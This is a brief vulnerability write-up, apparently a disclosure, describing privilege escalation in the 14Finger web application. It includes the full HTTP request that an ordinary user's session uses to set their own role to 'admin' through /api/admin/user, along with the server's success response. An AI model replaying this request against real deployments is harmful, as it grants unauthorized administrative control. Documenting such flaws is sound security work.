

14Finger User privilege escalation vulnerability

This is an ordinary user

```
settings.json
data:application/js...
config.json
user
{message: "请求成功", code: 200, data: {username: "k3ppf0r", id: 12, role: "user"}}
code: 200
data: {username: "k3ppf0r", id: 12, role: "user"}
id: 12
role: "user"
username: "k3ppf0r"
message: "请求成功"
```

By replaying the request package to modify the user information, the cookie is set to the cookie of the ordinary user, but the request can still be successful, and then the ordinary user can be changed to admin

```
1 POST /api/admin/user HTTP/1.1
2 Host: 192.168.136.140:7990
3 Content-Length: 290
4 Accept: application/json, text/plain, */*
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/123.0.6312.58 Safari/537.36
6 Content-Type: application/json
7 Origin: http://192.168.136.140:7990
8 Referer: http://192.168.136.140:7990/userManager
9 Accept-Encoding: gzip, deflate, br
10 Accept-Language: zh-CN,zh;q=0.9
11 Cookie: sessionId=0781m188c5izph326a4zypp027bi97fvc
12 Connection: close
13
14 {
15   "id":12,
16   "last_login":"2024-06-04T15:31:21.267831",
17   "is_superuser":false,
18   "username":"k3ppf0r",
19   "first_name":"",
20   "last_name":"",
21   "is_staff":false,
22   "is_active":true,
23   "date_joined":"2024-06-04T15:31:13.429801",
24   "email":"123@qq.com",
25   "role": "admin",
26   "groups":[
27 ],
28   "user_permissions":[
29 ],
30   "password":"123"
31 }
32
33 1 HTTP/1.1 200 OK
34 2 Server: nginx/1.20.2
35 3 Date: Tue, 04 Jun 2024 07:55:54 GMT
36 4 Content-Type: application/json
37 5 Content-Length: 59
38 6 Connection: close
39 7 Allow: GET, POST, DELETE, HEAD, OPTIONS
40 8 X-Frame-Options: DENY
41 9 Vary: Cookie, Origin
42 10 X-Content-Type-Options: nosniff
43 11 Referrer-Policy: same-origin
44 12 Cross-Origin-Opener-Policy: same-origin
45 13 Access-Control-Allow-Credentials: true
46 14 Access-Control-Allow-Origin: http://192.168.136.140:7990
47 15
48 16 {
49   "message":"请求成功",
50   "code":200,
51   "data":"修改成功"
52 }
```

When the role is admin, it means that the rights have been raised

the page tab has more pages that are unique to the admin user, SUCCEED!

